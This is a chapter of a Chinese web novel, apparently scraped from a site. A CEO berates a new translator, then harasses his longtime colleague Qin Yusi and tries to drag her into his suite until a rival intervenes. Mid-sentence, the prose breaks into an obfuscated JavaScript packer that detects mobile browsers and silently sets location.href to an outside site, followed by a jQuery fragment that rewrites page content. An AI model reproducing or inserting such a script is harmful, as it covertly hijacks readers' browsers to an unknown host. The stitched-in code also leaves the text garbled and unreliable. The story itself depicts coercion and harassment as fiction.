琼海是块风水宝地,空气中飘荡着大海的清新气息,仿佛吸上一口就能净化心灵。然而此刻,宝雅酒店总统套房里却弥漫着令人窒息的火药味。
沈让身上披着浴袍,手里攥着一份文件,正在冲总经办新来的翻译Abby发火。
“你不是林大英语系的高材生吗?毕业证是买来吧!看看你翻译的玩意儿,好意思拿给客户吗?”
Abby瑟缩地站在一旁,脸色惨白,眼中透着惶恐:“我翻译前特意跟Linda姐确认过需求,她就是这样跟我说的啊......”
沈让的目光锐利如刀,训起人来毫不留情面:“问题出在自己身上,不反思自己的不足,反而只想着甩锅,我看你不仅能力有问题,连最基本的职业操守都没有!”
“对不起,沈总,都是我的错,您有什么意见,我马上改。”Abby意识到自己触了老板的霉头,连声音都颤抖起来。
“这么基础的工作都要我亲自指导,那公司招你有什么用?”
沈让越说越气,嗓门都拔高了几度:“杜美芳到底是干什么吃的?回头你们两个一起滚蛋!”
听到直属上司也要受牵连,小姑娘急得眼泪直在眼眶里打转:“沈总,再给我一次机会吧,我肯定能改好!”
“这份资料明早就要用,凭你那半吊子水平,再怎么改都是白费工夫。”沈让不耐烦地摆了摆手,语气中满是厌恶。
就在这时,门外传来一阵清脆的高跟鞋声,紧接着,秦雨寺推门而入。
她刚从会场赶回来,身上穿着笔挺的黑色套装,鼻梁上架着副无框眼镜,一头长发高高束起,看起来知性又干练。
她在走廊里就听见了沈让暴怒的声音,不禁眉头微蹙:“不是刚放松回来?怎么又这么大的火气?”
见到秦雨寺,沈让的脸色稍微缓和了些,但语气仍带着不满:“老杜这人办事真不靠谱,明天上午我要和澳大利亚的AuraLuxe谈合作,原料报价单这么重要的材料,他居然找了个新人翻译。真是成志不足,败事有余!”
“问题很多吗?拿给我看看。”
秦雨寺接过他递来的文件,快速扫了几眼,脸色也有些难看。
总经办的英语翻译Lily半个月前休产假去了,HR只能临时招聘新人接替她的岗位。Abby毕业于名校,专业成绩非常优异,虽然工作经验尚浅,但期望薪资也不高。杜美芳遵循“降本增效”的原则,当即拍板把人招了进来。
现在“本”是降下来了,“效”却不知道增到哪里去了。
这份材料涉及大量专业术语,对于初入职场的新人而言,确实难度不小。更何况翻译还得兼顾部分文秘职能,对原稿进行适当润色修改,这简直就是强人所难了。
秦雨寺无奈地叹了口气:“既然急着用,就交给我来改吧。”
沈让双臂环胸,眉头依然紧锁:“会场那边的工作不是还没结束?你哪有时间弄这些?”
“基本处理得差不多了,我让清源和市场部的同事们盯紧一点。”
听到这话,沈让的神色终于柔和了几分:“抱歉Daria,总是让你处理这些分外的事情,我真不敢想象,如果身边没有你该怎么办。”
“你还是先把这两天的演讲稿准备好吧。”秦雨寺垂下眼眸,语气平淡,似乎并不为所动。
一旁的Abby心情跌入谷底,眼里甚至泛起了泪光。她怎么也没想到,自己好不容易进了梦寐以求的合光科技,竟然这么快就要卷铺盖滚蛋了。
就在她心灰意冷之际,秦雨寺忽然转过身来,语气温和地询问:“你下午有空吗?能不能来我房间一起修改文件?其实没有那么难,只要熟悉一些行业常用术语就好,回头我把笔记分享给你。”
沈让微微眯起眼睛,脸上还残留着几分愠色。
秦雨寺轻叹一声,劝道:“世上能有几个真正的天才?大部分人初入职场都是小白一枚,需要慢慢积累经验才能独当一面。你作为过来人,是不是应该多给他们一点耐心?”
“秦小姐所言极是,我确实应该反思一下自己的初心了。”
沈让忽地笑起来:“你就是我精心浇灌出来的最美丽的花朵,我怎么会忘记这个过程中收获的幸福呢?”
秦雨寺的脸颊瞬间飞上了一抹红晕,很快就别过脸去,有些抵触道:“我听不懂你在说什么,工作去了。”
说完,便拉着Abby匆匆离开。
沈让目送她的背影消失在门口,嘴角勾起一个意味深长的弧度——这么美丽的果实,是不是到了该品尝的季节?
*
晚上八点,秦雨寺终于带着Abby将资料重新翻译了一遍。Abby收获颇丰,对这位“老师”的印象也发生了翻天覆地的转变。
之前她是沈让的小迷妹,一度将秦雨寺视为潜在的情敌。经历了今天的事情,她终于意识到雌竞可耻,像秦雨寺这种善良又有才华的优秀女性,才应该成为普通女孩的榜样。
“雨寺姐,真的太感谢了,我没想到你的英文这么好,以后再遇到问题,还能请教你吧?”
“专业的事情还是得交给专业的人做,我只是凭借以往的经验给你一些建议罢了。”
秦雨寺谦逊地笑了笑,随即叮嘱道:“你把改好的资料交给沈总吧,这次应该不会再有问题了。”
Abby一脸犹豫:“雨寺姐,沈总白天刚对我发过火,我实在不敢找他......要不还是你去吧。”
“可这份资料基本都是你修改的,我去送岂不是抢了你的功劳?”秦雨寺眉头微蹙。
“就算我去送,沈总也不会相信我,还不如姐姐帮我说几句好话有用呢。”
Abby吞吞吐吐道:“再说我跟沈总也不熟,这么晚去他房间,怪别扭的。”
看她这副青涩又忐忑的模样,秦雨寺隐隐有些心软,最终还是接过文件,妥协道:“好吧,我会向沈总说清楚的。”
Abby脸上瞬间绽开笑容:“真的吗?太谢谢你了!等回到林淮,我一定请你吃大餐!”
这份资料明早就要用,秦雨寺不敢耽搁,直接去了顶楼的总统套房。
*
沈让刚洗过澡,浴袍松松垮垮地披在身上,头发还带着湿意,正坐在吧台前浅酌着红酒。见秦雨寺进来,他脸上露出饶有兴味的表情。
秦雨寺将文件放在茶几上,说道:“资料我已经盯着Abby翻译好了。她的能力其实没什么问题,多做几次就有经验了。喏,你抓紧检查一下吧。”
沈让端着酒杯缓步走到茶几旁,却没有翻看文件,而是目光灼灼地盯着眼前的美丽女郎。
“你总是替别人着想,但别人可曾为你说过一句好话?”他忽然玩味地笑了起来。
秦雨寺神色一肃,冷静道:“我这么做是为了你和公司的利益。大家共事一场,自然要以做好工作为目标,勾心斗角没有任何意义。”
沈让笑着摇了摇头,这才拿起茶几上的文件,随手翻了几页,感叹道:“公司里还没有谁能做得像你一样好,之前那个Lily也不行。”
“为什么你总能做得这么好?”他放下文件,目光变得无比炽热。
“有时候真想把你永远留在身边,完完全全只属于我一个人,可又不忍心埋没你的才华,真是矛盾啊。”
尽管不是第一次听这种浑话了,秦雨寺仍然感觉浑身不自在:“你是不是喝多了,怎么开始胡言乱语了?”
沈让缓缓站起身,绕到她身后,幽幽叹息道:“现在我们的关系就像上下级一样,冷淡、疏离、没有半点感情。但我们本不该是这样的。”
“当初我们刚认识的时候,你和家里关系紧张,又不太会说中文,所有的烦恼只能向我倾诉。而我无论工作多忙,都会第一时间陪伴你、安慰你。这种感情和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363436|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恋人有什么区别?”
“从什么时候开始,一切都变了呢?”
他轻轻挑起秦雨寺的一缕长发,凑近鼻尖,贪婪地嗅着发丝间若有若无的幽香:“雨寺,我一直留在原地,就像八年前初次相遇时那样,深深地迷恋着你。”
秦雨寺瞳孔一震。
“做我的女人吧。”沈让忽然展开双臂,将她紧紧拥入怀中,力道大得仿佛能把纤细的腰肢揉断。“放心把自己交给我,我会对你负责的。”
他俯下身,炙热的气息擦过她/敏/感/的耳垂,带来一阵强烈的酥麻。
秦雨寺只觉得头皮发紧,几乎是出于本能地用力推开了他,踉跄退后几步,脸上写满了难以掩饰的慌乱:“请你冷静一点!我一直很尊敬你,别做这样出格的事。”
“尊敬我?!”
沈让脸上的笑意瞬间散去,原本动情的眸子倏地冷了下来:“你是不是爱上别的男人了?”
“你胡说什么?我现在根本不想恋爱。”
秦雨寺理了把凌乱的发丝,稍稍喘息后,用轻柔却坚定的声音说:“沈总,你对我的好我永远不会忘记,但我并不适合做你的女人。”
沈让眯起眼睛,强硬地逼问:“哪里不适合?是因为你妈酗酒成性,冻死在了西伯利亚的农庄?是因为你爸当软饭男,娶了林淮最臭名昭著的泼妇?还是因为你继母一家欠了我八千万的债务?”
秦雨寺微微挑眉:“既然你记得这么清楚,想必每天都在心里权衡得失,那我还有什么好说的?”
沈让不怒反笑:“雨寺,人与人之间的利益关系是客观存在的,作为生意人,我当然要把每笔账算得清清楚楚。还有,成功男人不会在感情上谈什么适合不适合,爱情本就是强者才配享受的奢侈品。”
秦雨寺沉默许久,最终还是放弃了毫无意义的争辩,微微偏过头去,不再看他的眼睛。
沈让忽然话锋一转:“你听说了吗?润池集团的董事长陈正霖得了癌症,恐怕时日无多了。他的大儿子陈柯煜前不久出车祸成了植物人,现在就只剩个在国外不学无术的小儿子。真是山雨欲来,大厦将倾啊。”
秦雨寺冷笑:“这跟你有什么关系?”
沈让勾起嘴角,露出一抹得意的笑:“少了润池集团这个潜在对手,合光科技的发展可谓一马平川,等到明年成功上市,我的身家就要更上一层楼了。”
“到时候,我会正大光明地把你娶进门,让你成为林淮城最令人艳羡的豪门太太。”
昏黄的壁灯在墙面上投下长长的影子,沈让的脸庞在暧昧的光影下泛起异样的潮红。他借着酒力,再次张开手臂,企图将秦雨寺拽入怀中:“雨寺,我们迟早都要走到这一步,不如就在今晚......”
秦雨寺吓得惊呼一声,幸好她反应极快,腰身一扭,像游鱼似的从沈让臂弯中滑了出去,随即飞速冲出房门,只留下一道仓皇的背影。
这家酒店的顶层只有两间总统套房,配备了独立的直达电梯,几乎没有外人在此路过。
沈让彻底撕下了正人君子的伪装,像头被激怒的豹子,矫健地追了出去。
他身高腿长,三两步就缩短了距离,而后用铁钳般的大手一把攥住秦雨寺的手腕,力道之大,几乎要将她的骨头捏碎。
“你是不是觉得自己翅膀硬了,可以从我手里飞走了?”
沈让手臂猛地用力,试图强行将秦雨寺拖回房间。
千钧一发之际,对面套房的房门突然大开,一阵疾风卷起一沓文件,如雪花般狂舞而来。纸页的边缘锋利如刀,劈头盖脸打在沈让脸上,疼得他倒吸一口凉气。
他震惊地抬起头,透过漫天飞舞的纸片,看见套房门口立着一道熟悉的身影。
陈柯杨倚着门框,双臂环抱胸前,唇角挂着似笑非笑的弧度:“没想到沈总这么有童趣,深更半夜在走廊里玩老鹰捉小鸡,要不要带我一个?”